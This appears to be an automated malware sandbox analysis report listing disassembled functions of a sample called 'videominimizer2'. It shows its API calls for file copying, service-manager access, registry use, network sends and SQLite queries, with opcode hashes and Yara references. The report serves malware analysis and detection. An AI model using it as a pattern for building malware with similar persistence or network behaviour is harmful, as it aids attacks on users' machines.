
Part of subcall function 02D894FE: WSAGetLastError.WS2_32(00000000,?,?,02D82A51), ref: 02D8950C

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: ErrorLast$Send
String ID:
API String ID: 1282938840-0
Opcode ID: 55cd5b2e4d1b68af150570bad88f9e97624287d9bb03d1e6f932614c13cf72b1
Instruction ID: 86c29adc10e3a4fba2f9bbc260209485ac8d8bdb509bc082cf0049478118d9d9
Opcode Fuzzy Hash: 55cd5b2e4d1b68af150570bad88f9e97624287d9bb03d1e6f932614c13cf72b1
Instruction Fuzzy Hash: 810171B5904205EFD7207F95989497BBBEDFB453A5B60492EE89983300EB709D40CBA1

Function 0040DD8C Relevance: 3.0, APIs: 2, Instructions: 46fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?), ref: 0040DDA4
OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C

Memory Dump Source

Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: CopyFileManagerOpen
String ID:
API String ID: 3059512871-0
Opcode ID: 0113cdfbfb25f3afebf08d5b53905e774dd9bb883235dd1e0e1769836c7b60a4
Instruction ID: d58d49b4ea29d8c8a9330d33764122c4b2cd231153ae156a4abd983e9e2d164a
Opcode Fuzzy Hash: 0113cdfbfb25f3afebf08d5b53905e774dd9bb883235dd1e0e1769836c7b60a4
Instruction Fuzzy Hash: 6B01493171665026DB0D0772AF7AAFA3F69A706630B88003DE5C3A31F3D6395408C718

Function 00404454 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,0040336F,00000000), ref: 00404465

Part of subcall function 0040430C: GetVersionExA.KERNEL32 ref: 0040432B

HeapDestroy.KERNEL32 ref: 004044A4

Part of subcall function 0040482B: HeapAlloc.KERNEL32(00000000,00000140,0040448D,000003F8), ref: 00404838

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 86f647c1e17f9121db62508107f35f7b6bb1c87a2647d7f3c89694d97ca3aca0
Instruction ID: 6792b556898a49359456169ba0c82f011abfeecbff717d74d0c7f117a7ac5838
Opcode Fuzzy Hash: 86f647c1e17f9121db62508107f35f7b6bb1c87a2647d7f3c89694d97ca3aca0
Instruction Fuzzy Hash: 90F065F0A01302DAEB206B70AE4572A3695DBC0755F20483BFA04F51E0EA788884A91D

Function 0040D4D8 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 5stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,/chk), ref: 0040D4E0

Strings

/chk, xrefs: 0040D4D8

Memory Dump Source

Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: lstrcmpi
String ID: /chk
API String ID: 1586166983-3837807730
Opcode ID: a10da9197f37afb343f6c771918f49abc0ad40443fd6673d965178b01d59aaa4
Instruction ID: 96d4d1690fa0cf9a978db3768c059a4f844370bc8a88cc09418b16e2fd1e5a46
Opcode Fuzzy Hash: a10da9197f37afb343f6c771918f49abc0ad40443fd6673d965178b01d59aaa4
Instruction Fuzzy Hash: B7B01230300101DEE3001B228F0DE0039916B00700316C0795402B40F2C778C400651D

Function 02D85119 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02D8511E

Part of subcall function 02D83D7E: htons.WS2_32(?), ref: 02D83DA2
Part of subcall function 02D83D7E: htonl.WS2_32(00000000), ref: 02D83DB9
Part of subcall function 02D83D7E: htonl.WS2_32(00000000), ref: 02D83DC0

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: htonl$H_prologhtons
String ID:
API String ID: 4039807196-0
Opcode ID: 3abf7007c9e32892c5cac7f0ea03ccdf41f0d0e76e4a115c896dcb9fb89890a3
Instruction ID: 177743e5d8404e02eae7fe226479b299062fa3c0f94fd1bb3df75542d7842e7f
Opcode Fuzzy Hash: 3abf7007c9e32892c5cac7f0ea03ccdf41f0d0e76e4a115c896dcb9fb89890a3
Instruction Fuzzy Hash: 288125B5D0424A8FCF05EFA8E490AEEBBB9EF48210F10819AD855B7340EB355A05CF75

Function 02DCBBA6 Relevance: 1.7, APIs: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?), ref: 02E00017

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6883baafb4b4c7e134723bf9ea2767563e1fa7507f82f25991efb6b760efe224
Instruction ID: 3b4f453ff8d8f3e70980b319476b71bf17357811771873aa978b21784da09f22
Opcode Fuzzy Hash: 6883baafb4b4c7e134723bf9ea2767563e1fa7507f82f25991efb6b760efe224
Instruction Fuzzy Hash: F34173F250C6049FE305BF19EC85BBABBE5EF94720F06492DE6C4C3744EA3558408A97

Function 02DC3B1A Relevance: 1.6, APIs: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?), ref: 02E08B10

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 59bc10ac6756bdde02da214d05055a47d5a2bb0eaafee4dcbc7b168951d70863
Instruction ID: 93d599e4cc7945f421b56c6c2d4aeb50292c1b3a7edcdafbe3ed33d4f479cf83
Opcode Fuzzy Hash: 59bc10ac6756bdde02da214d05055a47d5a2bb0eaafee4dcbc7b168951d70863
Instruction Fuzzy Hash: 3231E4B250C6109FE715BF09E8C17AAFBE4EF58710F06492DEAC887350D6355850CB9B

Function 02DC3AFA Relevance: 1.6, APIs: 1, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?), ref: 02E08B10

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7251ba39669f9a71df323dab315f15a688f63b435a0b0c9aaeaf0bb9b20349ef
Instruction ID: 2b322520be47823a509a29e838374ae41f7cd87f941f4b98c06aa9ede6d141d9
Opcode Fuzzy Hash: 7251ba39669f9a71df323dab315f15a688f63b435a0b0c9aaeaf0bb9b20349ef
Instruction Fuzzy Hash: A021F2B151CA009FE715AF19E8C576AFBE4FF58300F46892DEAC887750E6315860CB9B

Function 02D8D9B6 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02D8D9BB

Part of subcall function 02D81A01: TlsGetValue.KERNEL32 ref: 02D81A0A

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: H_prologValue
String ID:
API String ID: 3700342317-0
Opcode ID: 0d02f5148c818ee65f1c0751c6a123108f12d4c860a9a3c5f0e9847dc55baaae
Instruction ID: b7365ee24a22eb98154d0797314f65f3f227814c52d4ab3d876f431d982435bc
Opcode Fuzzy Hash: 0d02f5148c818ee65f1c0751c6a123108f12d4c860a9a3c5f0e9847dc55baaae
Instruction Fuzzy Hash: 842112B1908209AFDB04DFA5D440AEEBBFAEB59710F10415AE505A7380D7719D01CBA1

Function 02D8D546 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02D8D54B

Part of subcall function 02D826DB: RtlEnterCriticalSection.NTDLL(?), ref: 02D82706
Part of subcall function 02D826DB: CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02D8272B
Part of subcall function 02D826DB: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02DA3163), ref: 02D82738
Part of subcall function 02D826DB: SetWaitableTimer.KERNEL32(?,?,000493E0,00000000,00000000,00000000), ref: 02D82778
Part of subcall function 02D826DB: RtlLeaveCriticalSection.NTDLL(?), ref: 02D827D9

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID:
API String ID: 4293676635-0
Opcode ID: d073de2c9274882020a21c4ff5b101763dbf6628377b8d8c020cd5a420893a2f
Instruction ID: e41f5d3557c2dde46f95b574766482ec4e037a5455129a3b533873b3a87f2d20
Opcode Fuzzy Hash: d073de2c9274882020a21c4ff5b101763dbf6628377b8d8c020cd5a420893a2f
Instruction Fuzzy Hash: FF01D0B1904B088FC328CF0AC554986FBF5EF98304B15C5AF944A8B722E7B1DA40CF94

Function 004026DC Relevance: 1.5, APIs: 1, Instructions: 30registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 0040D396

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: eb06fc48407c5659a787097cf97433b083acdd3bc5559e3073b6d83ebd6678e0
Instruction ID: 00efa456f585e781757c7064b272da0dd42e1381cd44d353f1743c4c452cba42
Opcode Fuzzy Hash: eb06fc48407c5659a787097cf97433b083acdd3bc5559e3073b6d83ebd6678e0
Instruction Fuzzy Hash: B6F05539C08081CBC3018BB0BE908E57BB1A626320310827AD483B72B3C734890EDB0D

Function 02DBCFCE Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 02DBCFCE

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 768f86dada92a5c63aa6d3a5580b7021670743c664c601dec1d4ad502c91da44
Instruction ID: 5a25b6c69d05888c71a8844ff50d9699ace321dbf4f00203d0265e21c116f980
Opcode Fuzzy Hash: 768f86dada92a5c63aa6d3a5580b7021670743c664c601dec1d4ad502c91da44
Instruction Fuzzy Hash: 38E026729082108FE702D51AC840729B3A3AFC8A00F42C40982C88B708CE35881541D5

Function 02D8D325 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02D8D32A

Part of subcall function 02D927B5: _malloc.LIBCMT ref: 02D927CD

Part of subcall function 02D8D546: __EH_prolog.LIBCMT ref: 02D8D54B

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: aa602d24c9cd4c9ef8537541dc81c15a19b11b8456717d57284fbee631978946
Instruction ID: 2502d7c013eb0a11974af56839691bfa689a7e930fc2f8f742343f54834ffc9e
Opcode Fuzzy Hash: aa602d24c9cd4c9ef8537541dc81c15a19b11b8456717d57284fbee631978946
Instruction Fuzzy Hash: A0E08C70A05105ABDB08EF68DC10B6E77A3EB84300F0041AEB80A92780EF309D008A20

Function 02D92452 Relevance: 1.5, APIs: 1, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02D948BA: __getptd_noexit.LIBCMT ref: 02D948BB
Part of subcall function 02D948BA: __amsg_exit.LIBCMT ref: 02D948C8

Part of subcall function 02D92493: __getptd_noexit.LIBCMT ref: 02D92497
Part of subcall function 02D92493: __freeptd.LIBCMT ref: 02D924B1
Part of subcall function 02D92493: RtlExitUserThread.NTDLL(?,00000000,?,02D92473,00000000), ref: 02D924BA

__XcptFilter.LIBCMT ref: 02D9247F

Part of subcall function 02D97944: __getptd_noexit.LIBCMT ref: 02D97948

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: __getptd_noexit$ExitFilterThreadUserXcpt__amsg_exit__freeptd
String ID:
API String ID: 1405322794-0
Opcode ID: 8c10b767bae779a2f5f216933744d6f9d90b752710412ceffe16786753c44bf7
Instruction ID: 0935f8eb67409644bb3c2e273e1f284eef8523e4dfb01a691c2881d2fb412050
Opcode Fuzzy Hash: 8c10b767bae779a2f5f216933744d6f9d90b752710412ceffe16786753c44bf7
Instruction Fuzzy Hash: EBE0ECB5910600AFFF08ABA0D909F2D77A6EF05711F200588F1019B361CA759D41DE30

Function 004022B3 Relevance: 1.5, APIs: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(?), ref: 0040D05B

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 990daad7f6c729d56e66747afbc8a8d1a63292ce5cff8e7346021b8327cbb994
Instruction ID: 64a51a2fdb62ca7e28f5e0a889e807bd0d9443fc0404eb37a7a9ade7e98e3572
Opcode Fuzzy Hash: 990daad7f6c729d56e66747afbc8a8d1a63292ce5cff8e7346021b8327cbb994
Instruction Fuzzy Hash: 47E0C230900604CFCF04CF64C5D09667BF0FB08304B104136DC25DB291D330D819DB85

Function 0040D222 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32 ref: 0040D800

Memory Dump Source

Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 49d61084d1b803bccc36c0f14791c6d614054889fb6cc1cc1534ecdbbca379d0
Instruction ID: 4295efac82691d2531cb7993d84dfddadd46f15947b0ed900394af4654887382
Opcode Fuzzy Hash: 49d61084d1b803bccc36c0f14791c6d614054889fb6cc1cc1534ecdbbca379d0
Instruction Fuzzy Hash: 15C08CF988A010B3D00232400E0AE7A341C4C093853108032F001340C34DFE160103BF

Function 004029E8 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32 ref: 0040D800

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 1bf662e3e3553c00b680388d30910e4ff675458b81fbdb0fd3eafd507da1f427
Instruction ID: d019258e5e8779cc767b11333249365f21376e856059f3aabb32361437c1fd9d
Opcode Fuzzy Hash: 1bf662e3e3553c00b680388d30910e4ff675458b81fbdb0fd3eafd507da1f427
Instruction Fuzzy Hash: 22C04C75889410B7D11236911D06E7A642C9D1E7C6320447AB012740C259FE561652BF

Function 004021F9 Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32 ref: 00402235

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 7b1e7f8edabd00cd239949ab8b80d060021c0fd617bd02ab541fd13872f44f3e
Instruction ID: fbb44a5181d595b923e7792f06510eee7a3702163479285ed013a471b1a4ae05
Opcode Fuzzy Hash: 7b1e7f8edabd00cd239949ab8b80d060021c0fd617bd02ab541fd13872f44f3e
Instruction Fuzzy Hash: ABD0C93060C005C7C21856808B8C6B222685705740B7444BBA947B00E1DBBC4A4AA91F

Function 0040D0D2 Relevance: 1.5, APIs: 1, Instructions: 10registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002), ref: 0040D906

Memory Dump Source

Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a124f69a4f08ddbc45472f1a68e294713c0e0ddcab5926de2f10ef910c7e6e1a
Instruction ID: 1be759f945b8f551a5c82f3a066ad8fe6930bf42a22f2cd8e016aae5cd2197f0
Opcode Fuzzy Hash: a124f69a4f08ddbc45472f1a68e294713c0e0ddcab5926de2f10ef910c7e6e1a
Instruction Fuzzy Hash: 69C04C21E0C006DAE7545AF1AA496763664AB14344F20497B9423F11C8E778855EA92F

Function 02DBCF9C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathA.SHELL32 ref: 02DBCFA2

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd

Similarity

API ID: FolderPathSpecial
String ID:
API String ID: 994120019-0
Opcode ID: 26d94c3e6e8d9c8f0e3c9f0180732f8d9b73cd222fa9c50ffcb4e7ed3d93881e
Instruction ID: 23623d1524b97b46ea0567bc2604a5dcc7304f80cf47ffbd409ff49fc641e211
Opcode Fuzzy Hash: 26d94c3e6e8d9c8f0e3c9f0180732f8d9b73cd222fa9c50ffcb4e7ed3d93881e
Instruction Fuzzy Hash: 47C04C31C5C444DFCA065B60D469DF97BB4EE457043444896E8D752361E714DC2ADE00

Function 0040DC4D Relevance: 1.5, APIs: 1, Instructions: 9registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 0040DC9A

Memory Dump Source

Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a22b86eff667c0d65b56586db00ff49b2189e06894376f06fbdcf183efb37a70
Instruction ID: da0b79f3debd5a63fbd65768690c4417505416eebd7347441fd54efb0bc29e7b
Opcode Fuzzy Hash: a22b86eff667c0d65b56586db00ff49b2189e06894376f06fbdcf183efb37a70
Instruction Fuzzy Hash: 23C09B31E0C402E5D6550BF48B0C929697055083447255577D107F01ECD5FDD91EE51F

Function 00402CAA Relevance: 1.5, APIs: 1, Instructions: 5registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 0040DC9A

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 7ff1ee28ebfbbec503e7bad357a395345d60922f5326ab2f30b086438bc24430
Instruction ID: 37455ea7678de06c91da67ef10d12f013f3f5c8d4a9f72a9f7615423df4b71d3
Opcode Fuzzy Hash: 7ff1ee28ebfbbec503e7bad357a395345d60922f5326ab2f30b086438bc24430
Instruction Fuzzy Hash: EEB01230C0C000D6C6000BC08A0891C76306A043007204077A102700D886F89409E60F

Function 02D91160 Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 02D90610: OpenEventA.KERNEL32(00100002,00000000,00000000,9944E9DF), ref: 02D906B0
Part of subcall function 02D90610: CloseHandle.KERNEL32(00000000), ref: 02D906C5
Part of subcall function 02D90610: ResetEvent.KERNEL32(00000000,9944E9DF), ref: 02D906CF
Part of subcall function 02D90610: CloseHandle.KERNEL32(00000000,9944E9DF), ref: 02D90704

TlsSetValue.KERNEL32(00000029,?), ref: 02D911AA

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$OpenResetValue
String ID:
API String ID: 1556185888-0
Opcode ID: 829c71e97b07bab3bbfde17cd9692813a66e2a9652178d7f41923f3a33a6b27c
Instruction ID: 19566764375670cdeee2837838512ca84726de5e9d1433ec0f9dfdcc0c7d0a9f
Opcode Fuzzy Hash: 829c71e97b07bab3bbfde17cd9692813a66e2a9652178d7f41923f3a33a6b27c
Instruction Fuzzy Hash: 3901A271A44248EFDB00CF59EC15F5ABBB8EB05671F10472AF829E3380D771AD008AA0

Function 00402929 Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 00402A88

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b2ffb64222cd42d17f64ff43169fed43f7743989d6ce8053481b6d9a64f2f24d
Instruction ID: fd0ed19f08144e3477ca87b7d9cc740f4f53305744c4f6fa95ba343aba04ad21
Opcode Fuzzy Hash: b2ffb64222cd42d17f64ff43169fed43f7743989d6ce8053481b6d9a64f2f24d
Instruction Fuzzy Hash: 70F02737D08201DBD61113A87F997643620A705745F354137EE06BA1F2CE7C448A9B0F

Function 0040D4BF Relevance: 1.3, APIs: 1, Instructions: 14sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040D6C1

Memory Dump Source

Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: ddb15782975b23f808471c48354789a71801e7d60cafee4be1fd3b0639555ceb
Instruction ID: 7451fc23355ae4c8422d0198c49f52f36d1480164026e5fc5377625752783b05
Opcode Fuzzy Hash: ddb15782975b23f808471c48354789a71801e7d60cafee4be1fd3b0639555ceb
Instruction Fuzzy Hash: 5DD0A930600A40ABE2429B90EE08B7836986B04300F100232B215E00D0CAB9970AABAA

Function 004026F2 Relevance: 1.3, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?), ref: 0040D6A6

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fbf560bc4ad01f7689ab9ac8627d9c70b0ee5e612fec280c0ee3b640093da5eb
Instruction ID: e037e9899688e148de334fa140894bf3d641d6a497c30b6599ee09faaa31587d
Opcode Fuzzy Hash: fbf560bc4ad01f7689ab9ac8627d9c70b0ee5e612fec280c0ee3b640093da5eb
Instruction Fuzzy Hash: 37C01231009601EFC7460B608E086107B717B05309F150462E546755D1867A2429F65A

Function 004021E3 Relevance: 1.3, APIs: 1, Instructions: 9sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 00402A88

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2eb53a3946c8e16d469a3b8a7150f91c92ce03251b3f6f96eab0a1d568bff1f3
Instruction ID: 4eb371bc7b3e6cd752328c08ca5079fb2affd6f3786a1064330129c3d931aee1
Opcode Fuzzy Hash: 2eb53a3946c8e16d469a3b8a7150f91c92ce03251b3f6f96eab0a1d568bff1f3
Instruction Fuzzy Hash: F6C04C35948605DAD10017E46F49B643631B748705F305137BB06344E28E7D044A6B5F

Non-executed Functions

Function 6096748C Relevance: 131.0, APIs: 72, Strings: 2, Instructions: 1504COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 609674C6

Part of subcall function 60916FBA: sqlite3_initialize.SQLITE3(60912743,?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5), ref: 60916FC4

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B

sqlite3_step.SQLITE3 ref: 6096755A
sqlite3_malloc.SQLITE3 ref: 6096783A
sqlite3_bind_int64.SQLITE3 ref: 609678A8
sqlite3_column_bytes.SQLITE3 ref: 609678E8
sqlite3_column_blob.SQLITE3 ref: 60967901
sqlite3_column_int64.SQLITE3 ref: 6096791A
sqlite3_column_int64.SQLITE3 ref: 60967931
sqlite3_column_int64.SQLITE3 ref: 60967950
sqlite3_step.SQLITE3 ref: 609679C3
sqlite3_bind_int64.SQLITE3 ref: 60967AA9
sqlite3_step.SQLITE3 ref: 60967AB4
sqlite3_column_int.SQLITE3 ref: 60967AC7
sqlite3_reset.SQLITE3 ref: 60967AD4
sqlite3_bind_int.SQLITE3 ref: 60967B89
sqlite3_step.SQLITE3 ref: 60967B94
